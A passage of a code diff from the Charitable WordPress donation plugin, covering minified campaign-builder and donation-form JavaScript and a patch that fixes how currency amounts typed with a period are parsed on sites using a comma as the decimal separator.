Event("input",{bubbles:true}))}else{s.secondaryThemeColor=color;app.updateThemeCSS("secondary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.tertiary",{defaultColor:s.tertiaryThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColorBase);s.tertiaryThemeColor=s.tertiaryThemeColorBase;app.updateThemeCSS("teritary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.tertiaryThemeColor=color;app.updateThemeCSS("teritary",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});Coloris.setInstance(".instance2.button-color",{defaultColor:s.buttonThemeColor,onChange:function(color){if(""===color){$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColorBase);s.buttonThemeColor=s.buttonThemeColorBase;app.updateThemeCSS("button",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true);document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}))}else{s.buttonThemeColor=color;app.updateThemeCSS("button",s.templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,true)}},theme:"polaroid",themeMode:"light",alpha:false,formatToggle:true,closeButton:true,clearButton:true,clearLabel:"Reset",swatches:["#067bc2","#84bcda","#80e377","#ecc30b","#f37748","#d56062"]});elements.$fieldOptions.on("click",".clr-field button",function(e){e.preventDefault();$(this).parent().find('input[type="text"]').trigger("click")})},initDatePicker:function($element){var $the_element=$element,options={dateFormat:$the_element.data("format")||"MM d, yy",minDate:$the_element.data("min-date")||"",beforeShow:function(input,inst){setTimeout(function(){$(".ui-datepicker").css("z-index",99999999999999)},0)}};if($.isFunction($the_element.datepicker)){$the_element.datepicker(options);if($the_element.data("date")){$the_element.datepicker("setDate",this.$el.data("date"))}if($the_element.data("min-date")){$the_element.datepicker("option","minDate",this.$el.data("min-date"))}}},trimFormTitle:function(){var $title=$(".charitable-center-form-name");if($title.text().length>38){var shortTitle=$title.text().trim().substring(0,38).split(" ").slice(0,-1).join(" ")+"...";$title.text(shortTitle)}},builderHotkeys:function(){hotkeys("esc,ctrl+1,ctrl+2,ctrl+3,ctrl+4,ctrl+5,ctrl+s,ctrl+p,ctrl+x,ctrl+v",function(event,handler){switch(handler.key){case"esc":if($(".charitable-builder-modal.charitable-builder-modal-template-preview").hasClass("active")){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active")}break;case"ctrl+1":$(elements.$templateButton,$builder).trigger("click");break;case"ctrl+2":$(elements.$designButton,$builder).trigger("click");break;case"ctrl+3":$(elements.$settingsButton,$builder).trigger("click");break;case"ctrl+4":$(elements.$marketingButton,$builder).trigger("click");break;case"ctrl+5":$(elements.$paymentButton,$builder).trigger("click");break;case"ctrl+s":$(elements.$saveButton,$builder).trigger("click");break;case"ctrl+p":$(elements.$previewButton,$builder).trigger("click");break;case"ctrl+x":$(elements.$exitButton,$builder).trigger("click");break;case"ctrl+v":$(elements.$viewCampaignButton,$builder).trigger("click");break}})},openModalButtonClick:function(){$(document).on("click",".charitable-not-available:not(.charitable-add-fields-button)",app.openModalButtonHandler).on("mousedown",".charitable-not-available.charitable-add-fields-button",app.openModalButtonHandler);$(document).on("click",".charitable-disabled-modal:not(.charitable-add-fields-button)",app.openModalWarningModal).on("mousedown",".charitable-add-fields-button.charitable-disabled-modal",app.openModalWarningModal);$(document).on("click",".charitable-disabled-same_page:not(.charitable-add-fields-button)",app.openModalWarningModal).on("mousedown",".charitable-add-fields-button.charitable-disabled-same_page",app.openModalWarningModal);$(document).on("click",".charitable-not-installed:not(.charitable-add-fields-button)",app.openModalButtonHandlerInstall).on("mousedown",".charitable-not-installed.charitable-add-fields-button",app.openModalButtonHandlerInstall);$(document).on("click",".charitable-not-activated:not(.charitable-add-fields-button)",app.openModalButtonHandlerActivate).on("mousedown",".charitable-not-activated.charitable-add-fields-button",app.openModalButtonHandlerActivate);$(document).on("click",".charitable-addon-file-missing:not(.charitable-add-fields-button)",app.openModalButtonHandlerInstall).on("mousedown",".charitable-addon-file-missing.charitable-add-fields-button",app.openModalButtonHandlerInstall);$(document).on("click",".charitable-not-available:not(.charitable-setting-panel-upgrade-to-pro)",app.openModalButtonHandler).on("mousedown",".charitable-not-available.charitable-setting-panel-upgrade-to-pro",app.openModalButtonHandler);$(document).on("click",".charitable-need-upgrade:not(.charitable-setting-panel-upgrade-to-pro)",app.openModalButtonHandler).on("mousedown",".charitable-need-upgrade.charitable-setting-panel-upgrade-to-pro",app.openModalButtonHandler);$(document).on("click",".charitable-installed-refresh:not(.charitable-add-fields-button)",app.openModalButtonHandlerActivatedRefresh).on("mousedown",".charitable-installed-refresh.charitable-add-fields-button",app.openModalButtonHandlerActivatedRefresh);$(document).on("click","a.button-link.charitable-not-activated",app.openModalButtonHandlerActivate).on("mousedown","a.button-link.charitable-not-activated",app.openModalButtonHandlerActivate);$(document).on("click","a.button-link.charitable-not-installed",app.openModalButtonHandlerInstall).on("mousedown","a.button-link.charitable-not-installed",app.openModalButtonHandlerInstall);$(document).on("click","a.button-link.charitable-not-activated-button",app.activateFromButton).on("mousedown","a.button-link.charitable-not-activated-button",app.activateFromButton);$(document).on("click","a.button-link.charitable-not-installed-button",app.installFromButton).on("mousedown","a.button-link.charitable-not-installed-button",app.installFromButton)},activateFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data("plugin-url"),plugin_name=$(this).data("name"),settings_url=$(this).data("settings-url"),plugin_slug=$(this).data("plugin-slug"),enable_url=$(this).data("enable-url").length>0?$(this).data("enable-url"):"";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,"activate","addon",$button)},installFromButton:function(e){e.preventDefault();const $button=$(this),plugin_url=$(this).data("plugin-url"),plugin_name=$(this).data("name"),settings_url=$(this).data("settings-url"),plugin_slug=$(this).data("plugin-slug"),enable_url=$(this).data("enable-url").length>0?$(this).data("enable-url"):"";if(!plugin_url||!plugin_name){return}app.installFromButtonAjax(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,"install","addon",$button)},installFromButtonAjax:function(plugin_url,plugin_name,settings_url,plugin_slug,enable_url,state,pluginType,$button){wpchar.debug("setAddonState");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var plugin_ajax=plugin_url;if("install"===state){if(enable_url.length>0){$button.text("Installing and activating gateway...")}else{$button.text("Installing and activating...")}$button.removeClass("charitable-not-installed-button");$button.addClass("charitable-view-settings-button")}else if("activate"===state){if(enable_url.length>0){$button.text("Activating gateway...")}else{$button.text("Activating...")}$button.removeClass("charitable-not-activated-button");$button.addClass("charitable-view-settings-button");plugin_ajax=plugin_slug}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_ajax,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){if("install"===state){$('a.button-link[data-plugin-slug="'+plugin_slug+'"]').each(function(){$(this).text("View Settings");$(this).removeClass("charitable-not-installed-button");$(this).addClass("charitable-view-settings-button");if(enable_url.length>0){$(this).attr("href",enable_url)}else{$(this).attr("href",settings_url)}$(this).attr("target","_blank")});$("section.header-content h2").addClass("charitable-hidden");$("section.header-content h2.charitable-header-content-activated").removeClass("charitable-hidden")}else if("activate"===state){$('a.button-link[data-plugin-slug="'+plugin_slug+'"]').each(function(){$(this).text("View Settings");$(this).removeClass("charitable-not-installed-button");$(this).addClass("charitable-view-settings-button");if(enable_url.length>0){$(this).attr("href",enable_url)}else{$(this).attr("href",settings_url)}$(this).attr("target","_blank")});$("section.header-content h2").addClass("charitable-hidden");$("section.header-content h2.charitable-header-content-activated").removeClass("charitable-hidden")}}).fail(function(xhr){wpchar.debug(xhr.responseText)})},openModalWarningModal:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name"),icon="",reason="";if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}if($this.hasClass("charitable-disabled-modal")){reason="modal"}else if($this.hasClass("charitable-disabled-same_page")){reason="same_page"}app.modalWarningModal(name,reason,icon)},openModalButtonHandlerInstall:function(event){const $this=$(this);var icon="",plugin_url="",video="",license="",elementType=false;if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}if($this.data("install")){plugin_url=$this.data("install")}else if($this.data("plugin-url")){plugin_url=$this.data("plugin-url")}if($this.data("video")){video=$this.data("video")}if($this.data("license")){license=$this.data("license")}app.installModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandlerActivatedRefresh:function(event){const $this=$(this);event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");app.activateRefreshModal(name,$this.data("video"))},openModalButtonHandlerActivate:function(event){const $this=$(this);var icon="",plugin_url="",video="",license="",elementType=false;if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let name=$this.data("name");if($this.data("plugin-url")){plugin_url=$this.data("plugin-url")}if($this.data("video")){video=$this.data("video")}if($this.data("license")){license=$this.data("license")}app.activateModal(name,plugin_url,license,video,$this,elementType,icon)},openModalButtonHandler:function(event){const $this=$(this);if($this.data("action")&&["activate","install"].includes($this.data("action"))){return}event.preventDefault();event.stopImmediatePropagation();let icon="",name=$this.data("name"),elementType=$this.data("type");if($this.hasClass("charitable-add-fields-button")){name=$this.text();name+=name.indexOf(charitable_builder.field)<0?" "+charitable_builder.field:"";if($this.data("field-icon")){icon=$this.data("field-icon")}}const utmContent="utmValue";app.upgradeModal(name,utmContent,$this.data("license"),$this.data("video"),elementType,icon)},modalWarningModal:function(feature,reason="",icon=""){var message="",modalWidth=app.getUpgradeModalWidth(false),title="";if(reason==="modal"){message=charitable_builder.field_disabled_due_to_modal.replace(/%name%/g,feature)}else if(reason==="same_page"){message=charitable_builder.field_disabled_due_to_same_page.replace(/%name%/g,feature)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-install-form",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){}},cancel:{text:charitable_builder.go_to_settings,btnClass:"btn-confirm",action:function(){window.open(charitable_builder.settings_page_url)}}}})},setAddonState:function(plugin_url,plugin_name,state,pluginType,modal,clickedObject,callback){wpchar.debug("setAddonState");wpchar.debug(plugin_url);wpchar.debug(plugin_name);wpchar.debug(state);var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin_url,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){callback(res,plugin_url,plugin_name,state,modal,clickedObject)}).fail(function(xhr){wpchar.debug(xhr.responseText)})},callBackAddonState:function(res,plugin_url="",plugin_name="",state="",modal=false,clickedObject){wpchar.debug("callBackAddonState");wpchar.debug(res);wpchar.debug(state);wpchar.debug(modal);var successText="";if(res.success){if("install"===state){wpchar.debug("installed");if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}if(res.data.is_activated){successText=res.data.msg;app.upgradeModalAddonInstalledAndActivated(plugin_url,plugin_name,successText)}else{app.upgradeModalAddonInstalledAndActivatedFailed(plugin_url,plugin_name,successText)}}else if("activate"===state){wpchar.debug("activated");successText=res.data;if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass("charitable-installed-refresh").removeClass("charitable-not-activated");app.openModalButtonClick()}else{wpchar.debug("some other success");successText=res.data;if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass("charitable-installed-refresh").removeClass("charitable-not-activated");app.openModalButtonClick()}}else{if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivatedFailed(plugin_url,plugin_name,successText)}},activateRefreshModal:function(name,video,icon=""){wpchar.debug("activateRefreshModal");wpchar.debug(name);wpchar.debug(video);var message=charitable_builder.activated_refresh.replace(/%addon%/g,name),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='<span class="charitable-upgrade-pro-title">'+name+" "+charitable_builder.activated_refresh_title+"</span>";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-activate-refresh",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}});$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},activateModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=""){wpchar.debug("activatelModal");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(elementType);if(typeof type==="undefined"||type.length===0){type="pro"}var message=charitable_builder.activate.message.replace(/%addon%/g,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.activate.title+"</span>";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-activate-addon",closeIcon:true,buttons:{cancel:{btnClass:"btn-confirm",keys:["esc"],isHidden:false,isDisabled:false,action:function(){}},install:{text:charitable_builder.activate.button,btnClass:"btn-confirm",keys:["enter"],isHidden:false,isDisabled:false,action:function(activateButton){activateButton.setText(charitable_builder.activating);activateButton.disable();this.$$cancel.prop("disabled",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,"activate","addon",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},installModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=""){wpchar.debug("installModal");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(clickedObject);wpchar.debug(elementType);if(typeof type==="undefined"||type.length===0){type="pro"}if($.inArray(type,["pro","basic","plus","agency","elite"])<0){return}var license_label=charitable_builder.charitable_license_label,message=charitable_builder.install[type].message.replace(/%name%/g,license_label).replace(/%addon%/g,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title="";if(elementType){title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.install["pro-panel"].title+"</span>"}else{title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.install[type].title+"</span>"}var modal=$.alert({backgroundDismiss:false,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-install-form",closeIcon:false,buttons:{cancel:{btnClass:"btn-confirm",keys:["esc"],isHidden:false,isDisabled:false,action:function(){}},confirmInstall:{text:charitable_builder.install[type].button,btnClass:"btn-confirm",keys:["enter"],isHidden:false,isDisabled:false,action:function(confirmInstallButton){confirmInstallButton.setText(charitable_builder.installing);confirmInstallButton.disable();this.$$cancel.prop("disabled",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,"install","addon",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},formPanelUpgradeModal:function(){if(app.formPanelUpgradeModalOpen){return}var strings=typeof charitable_builder!=="undefined"&&charitable_builder.form_upgrade_modal?charitable_builder.form_upgrade_modal:{};app.formPanelUpgradeModalOpen=true;$.alert({backgroundDismiss:true,title:strings.title||"",icon:"fa fa-lock",content:strings.message||"",boxWidth:app.getUpgradeModalWidth(false),theme:"modern,charitable-upgrade-form-lite",closeIcon:true,onOpenBefore:function(){this.$body.find(".jconfirm-content").addClass("lite-upgrade");if(strings.doc){this.$btnc.after(strings.doc)}},onClose:function(){app.formPanelUpgradeModalOpen=false},buttons:{confirm:{text:strings.button||"",btnClass:"btn-confirm",keys:["enter"],action:function(){if(strings.upgrade_url){window.open(strings.upgrade_url,"_blank")}}}}})},upgradeModal:function(feature,utmContent,type,video,elementType=false,icon=""){if(typeof type==="undefined"||type.length===0){type="pro"}if($.inArray(type,["pro","basic","plus","agency","elite"])<0){return}var isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title="",message="",button="",typeCapitlized="pro"!==type.toLowerCase()?type.charAt(0).toUpperCase()+type.slice(1):"PRO";if(elementType){title=feature+" "+charitable_builder.upgrade["pro-panel"].title.replace(/%plan%/g,typeCapitlized),message=charitable_builder.upgrade["pro-panel"].message.replace(/%name%/g,feature),message=message.replace(/%plan%/g,typeCapitlized),button=charitable_builder.upgrade["pro-panel"].button.replace(/%name%/g,feature).replace("addon",""),button=button.replace(/%plan%/g,typeCapitlized)}else{title=feature+" "+charitable_builder.upgrade[type].title.replace(/%plan%/g,typeCapitlized),message=charitable_builder.upgrade[type].message.replace(/%name%/g,feature),message=message.replace(/%plan%/g,typeCapitlized),button=charitable_builder.upgrade[type].button.replace(/%name%/g,feature).replace("addon",""),button=button.replace(/%plan%/g,typeCapitlized)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-lock",content:message,boxWidth:modalWidth,theme:"modern,charitable-upgrade-form-lite",closeIcon:true,onOpenBefore:function(){if(isVideoModal){this.$el.addClass("has-video")}var videoHtml=isVideoModal?'<iframe src="'+video+'" class="feature-video" frameborder="0" allowfullscreen="" width="475" height="267"></iframe>':"";this.$btnc.after(charitable_builder.upgrade[type].doc.replace(/%25name%25/g,feature));this.$btnc.after(videoHtml);this.$body.find(".jconfirm-content").addClass("lite-upgrade")},buttons:{confirm:{text:button,btnClass:"btn-confirm",keys:["enter"],action:function(){window.open(app.getUpgradeURL(utmContent,type),"_blank");app.upgradeModalThankYou(type)}}}});$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},getInstallURL:function(utmContent,type,searchKeyword=false){var returnUrl=charitable_builder.charitable_addons_page;if(searchKeyword){returnUrl=returnUrl+"&search="+searchKeyword.replace(/[^0-9a-z+ ]/gi,"").replace("Field","").trim()}return returnUrl},getUpgradeURL:function(utmContent,type){var baseURL=charitable_builder.upgrade[type].url;if(utmContent.toLowerCase().indexOf("template")>-1){baseURL=charitable_builder.upgrade[type].url_template}var appendChar=/(\?)/.test(baseURL)?"&":"?";if(baseURL.indexOf("https://wpcharitable.com")===-1){appendChar=encodeURIComponent(appendChar)}return baseURL+appendChar+"utm_content="+encodeURIComponent(utmContent.trim())},upgradeModalThankYou:function(type){$.alert({title:charitable_builder.thanks_for_interest,content:charitable_builder.upgrade[type].modal,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},upgradeModalAddonInstalledAndActivated:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.installed_activated_title+"</span>",content:charitable_builder.installed_activated_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:"btn-confirm",keys:["enter"],action:function(saveRefreshButton){if($("#charitable_settings_title").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop("disabled",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonActivated:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.activated_title+"</span>",content:charitable_builder.activated_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:"btn-confirm",keys:["enter"],action:function(saveRefreshButton){if($("#charitable_settings_title").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop("disabled",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonInstalledAndActivatedFailed:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.installed_activated_failed_title+"</span>",content:charitable_builder.installed_activated_failed_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},upgradeModalAddonActivatedFailed:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.activated_failed_title+"</span>",content:charitable_builder.activated_failed_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},getUpgradeModalWidth:function(isVideoModal){var windowWidth=$(window).width();if(windowWidth<=300){return"250px"}if(windowWidth<=750){return"350px"}if(!isVideoModal||windowWidth<=1024){return"560px"}return windowWidth>1070?"1040px":"994px"},isFunction:function(functionToCheck){return functionToCheck&&{}.toString.call(functionToCheck)==="[object Function]"}};return app}(document,window,jQuery);CharitableCampaignBuilder.init(); \ No newline at end of file @@ -587,13 +587,39 @@ }; /** - * Select a donation amount. + * Unformat a currency string to a plain float. * - * @param int price - * @return string + * Handles the case where the site uses a non-period decimal separator (e.g. comma) + * but the user types a period as the decimal point — a common mistake on non-US + * keyboards. accounting.unformat() would otherwise strip the period as if it were + * a thousands separator, turning "5.33" into 533. + * + * Heuristic: if the configured decimal is not a period, the value contains a period, + * and the value does NOT already contain the configured decimal separator: + * - One period followed by 1–2 digits at end → treat as decimal (e.g. "5.33" → "5,33") + * - One period followed by exactly 3 digits at end → treat as thousands (e.g. "1.000" → 1000) + * - Multiple periods → all thousands separators; let accounting.unformat strip them + * + * @param string|number price + * @return float */ Donation_Form.prototype.unformat_amount = function( price ) { - return Math.abs( parseFloat( accounting.unformat( price, CHARITABLE_VARS.currency_format_decimal_sep ) ) ); + var decimal = CHARITABLE_VARS.currency_format_decimal_sep; + + price = String( price ); + + if ( decimal !== '.' && price.indexOf( '.' ) !== -1 && price.indexOf( decimal ) === -1 ) { + var periodCount = ( price.match( /\./g ) || [] ).length; + + if ( periodCount === 1 && ! /\.\d{3}$/.test( price ) ) { + // Single period not followed by exactly 3 digits — treat as decimal separator. + price = price.replace( '.', decimal ); + } + // Single period followed by 3 digits (thousands) or multiple periods: + // fall through and let accounting.unformat strip them. + } + + return Math.abs( parseFloat( accounting.unformat( price, decimal ) ) ); }; /** @@ -1 +1 @@ -CHARITABLE=window.CHARITABLE||{};(function(exports,$){var Donation_Form=function(form){this.errors=[];this.pending_processes=[];this.form=form;this.pause_processing=false;this.submit_processing=false;this.total=0;this.prevent_scroll_to_top=false;var self=this;var $body=$("body");var on_click_terms=function(){self.form.find(".charitable-terms-text").addClass("active");return false};var on_focus_custom_amount=function(){$(this).closest("li").trigger("click").find("input[name=donation_amount]").prop("checked",true).trigger("change");self.form.off("focus","input.custom-donation-input",on_focus_custom_amount);$(this).focus();self.form.on("focus","input.custom-donation-input",on_focus_custom_amount)};var trigger_amount_change_events=function(){$body.trigger("charitable:form:amount:changed",self);$body.trigger("charitable:form:total:changed",self)};var on_change_custom_donation_amount=function(){var unformatted=self.unformat_amount($(this).val());if($.trim(unformatted)>0){$(this).val(self.format_amount(unformatted))}trigger_amount_change_events()};var on_select_donation_amount=function(){var $li=$(this).closest("li");if($li.hasClass("selected")){return}$li.parents(".charitable-donation-form").find(".donation-amount.selected").removeClass("selected");$li.addClass("selected").find("[name=donation_amount]").prop("checked",true);if($li.hasClass("custom-donation-amount")){$li.find("input.custom-donation-input").focus()}trigger_amount_change_events()};var on_change_payment_gateway=function(){var selectedGateway=$(this).val();self.hide_inactive_payment_methods();self.show_active_payment_methods(selectedGateway);if(selectedGateway==="square"||selectedGateway==="square_core"){setTimeout(function(){window.dispatchEvent(new Event("resize"))},100)}};var on_click_change_amount_link=function(){$(this).parent().addClass("charitable-hidden")};var on_submit=function(event){var helper=event.data.helper;if(helper.submit_processing){return false}helper.submit_processing=true;helper.show_processing();if(false===helper.validate()){helper.cancel_processing();return false}if(false!==helper.pause_processing){return false}if(1!==helper.form.data("use-ajax")){return true}maybe_process(helper,function(){$body.trigger("charitable:form:process",helper)});return false};var maybe_process=function(helper,callback){if(!helper.waiting()){if(helper.get_errors().length>0){helper.cancel_processing()}else{callback()}return}setTimeout(maybe_process,500,helper,callback)};var process_donation=function(event,helper){var data=helper.get_data();var form=helper.form;data.action="make_donation";data.form_action=data.charitable_action;delete data.charitable_action;$.ajax({type:"POST",data:data,dataType:"json",url:CHARITABLE_VARS.ajaxurl,timeout:0,xhrFields:{withCredentials:true},success:function(response){$body.trigger("charitable:form:processed",[response,helper]);if(response.success){maybe_process(helper,function(){window.location.href=response.redirect_to})}else{helper.cancel_processing(response.errors);if(response.donation_id){helper.set_donation_id(response.donation_id)}}}}).fail(function(response,textStatus,errorThrown){if(window.console&&window.console.log){console.log(response)}helper.cancel_processing([CHARITABLE_VARS.error_unknown])});return false};var init=function(){self.form.on("click",".donation-amount",on_select_donation_amount);self.form.on("focus","input.custom-donation-input",on_focus_custom_amount);self.form.on("click",".charitable-terms-link",on_click_terms);self.form.on("blur",".custom-donation-input",on_change_custom_donation_amount);self.form.find(".donation-amount input:checked").each(function(){$(this).closest("li").addClass("selected")});if(self.get_all_payment_methods().length){self.hide_inactive_payment_methods();self.form.on("change","#charitable-gateway-selector input[name=gateway]",on_change_payment_gateway)}self.form.on("click",".change-donation",on_click_change_amount_link);self.form.on("submit",{helper:self},on_submit);if(false===CHARITABLE.forms_initialized){$body.on("charitable:form:process",process_donation);$body.trigger("charitable:form:initialize",self);CHARITABLE.forms_initialized=true}$body.trigger("charitable:form:loaded",self)};init()};Donation_Form.prototype.get_input=function(field){return this.form.find("[name="+field+"]")};Donation_Form.prototype.get_email=function(){return this.form.find("[name=email]").val()};Donation_Form.prototype.is_recurring_donation=function(){var recurring=this.form.find("[name=recurring_donation]:checked, [name=recurring_donation][type=hidden]");return recurring.length&&"once"!==recurring.val()};Donation_Form.prototype.get_suggested_amount=function(){return accounting.unformat(this.form.find("[name=donation_amount]:checked, input[type=hidden][name=donation_amount]").val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_custom_amount=function(){var input=this.form.find(".charitable-donation-options.active input.custom-donation-input,.charitable-donation-options.active input.custom-donation-amount");if(0===input.length){input=this.form.find("input.custom-donation-input")}return accounting.unformat(input.val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_subtotal=function(){return this.get_suggested_amount()||this.get_custom_amount()};Donation_Form.prototype.get_amount=function(){this.total=this.get_subtotal();this.form.trigger("charitable:form:get_amount",this);return this.total};Donation_Form.prototype.add_amount=function(add){this.total+=add};Donation_Form.prototype.remove_amount=function(remove){this.total-=remove};Donation_Form.prototype.get_description=function(){return this.form.find("[name=description]").val()||""};Donation_Form.prototype.get_cc_number=function(){return this.form.find("#charitable_field_cc_number input").val()||""};Donation_Form.prototype.get_cc_cvc=function(){return this.form.find("#charitable_field_cc_cvc input").val()||""};Donation_Form.prototype.get_cc_expiry_month=function(){return this.form.find("#charitable_field_cc_expiration select.month").val()||""};Donation_Form.prototype.get_cc_expiry_year=function(){return this.form.find("#charitable_field_cc_expiration select.year").val()||""};Donation_Form.prototype.clear_cc_fields=function(){this.form.find("#charitable_field_cc_number input, #charitable_field_cc_name input, #charitable_field_cc_cvc input, #charitable_field_cc_expiration select").removeAttr("name")};Donation_Form.prototype.get_payment_method=function(){return this.form.find("[type=hidden][name=gateway], [name=gateway]:checked").val()||""};Donation_Form.prototype.get_all_payment_methods=function(){return 